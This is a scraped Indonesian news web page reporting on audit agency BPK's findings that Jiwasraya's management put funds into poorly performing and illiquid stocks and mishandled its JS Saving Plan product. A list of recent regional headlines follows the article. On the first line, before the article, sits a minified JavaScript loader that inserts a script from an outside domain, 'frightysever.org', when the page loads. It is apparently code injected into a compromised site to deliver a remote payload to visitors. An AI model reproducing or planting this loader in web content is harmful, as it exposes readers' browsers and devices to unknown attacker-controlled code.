(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Temuan BPK, Manajemen Jiwaraya Terbukti Investasi di Saham-saham Gorengan


Badan Pemeriksa Keuangan (BPK) membeberkan hasil audit yang dilakukannya terkait dengan kasus dugaan korupsi PT Asuransi Jiwasraya (Persero).

Dalam hal ini, BPK telah melakukan audit pada Jiwasraya sebanyak dua kali yaitu 2016 dan 2018. Hasilnya, pada 2016 Jiwasrata terbukti tak melakukan invetasi ke saham dengan benar. Sehingga tingkat pengembalian investasinya, tak sesuai yang diharapkan.

Adapun pada saat itu, Jiwasraya menempatkan dana investasi ke saham TRIO, SUGI, dan LCGP yang saat itu kinerja perusahaannya sedang tak bagus.

“Jiwasraya berpotensi pada risiko gagal bayar atas transaksi investasi pemeblian medium term notes dari PT Hanson Internasional, dan Jiwasraya kurang optimal dalam mengawasi reksadana yang dimiliki ada terdapat penempatan saham secara tidak langsung di satu perusahaan yang berkinerja kurang baik. Jadi ini sudah dideteksi semenjak tahun 2016,” ujar Ketua BPK, Agung Firman Sampurna dalam konferensi pers di Kantornya, Rabu (8/1/2020).

Agung melanjutkan, kesalahan manajemen Jiwasraya dalam investasi terulang pada 2018. Audit BPK menemukan, manajemen berinvestasi pada perusahaan yang memiliki kinerja buruk pada saat itu, yang di antaranya seperti, BJBR, SMGR dan PPRO.

“Kemudian jual beli dilakukan dengan pihak-pihak tertentu secara negosiasi agar bisa memperoleh harga tertentu yang diinginkan. Kepemilikan saham melebihi batas maksimal yaitu diatas 2,5 persen,” katanya.

“Investasi langsung pada saham-saham yang tidak likuid dengan harga yang tidakkfair yang selanjutnya diduga oleh manajemen Jiwasraya bersama manajer investasi disembunyikan pada beberapa reksa dana dengan underline saham,” sambungnya.

Agung menambahkan, temuan BPK juga memperlihatak bahwa ada penyimpangan pada produk JS Saving Plan yang diantaranya penunjukkan pejabat Kepala Pusat Bancassurance yang tak sesuai ketentuan.

“Kemudian pengajuan cost of fund langsung kepada direksi tanpa melibatkan divisi terkait dan tidak didasarkan pada dokumen perhitungan cof (cost of fund). Penetapan cof saving plan tudak mempertimbangkan kemampuan investasi Jiwasraya untuk hasilkan pendapatan yang diperlukan,” katanya. (suara)

 

Editor : KK

 


Desy Arfianty

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

2 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

3 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

3 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

3 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

4 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

7 jam ago

This website uses cookies.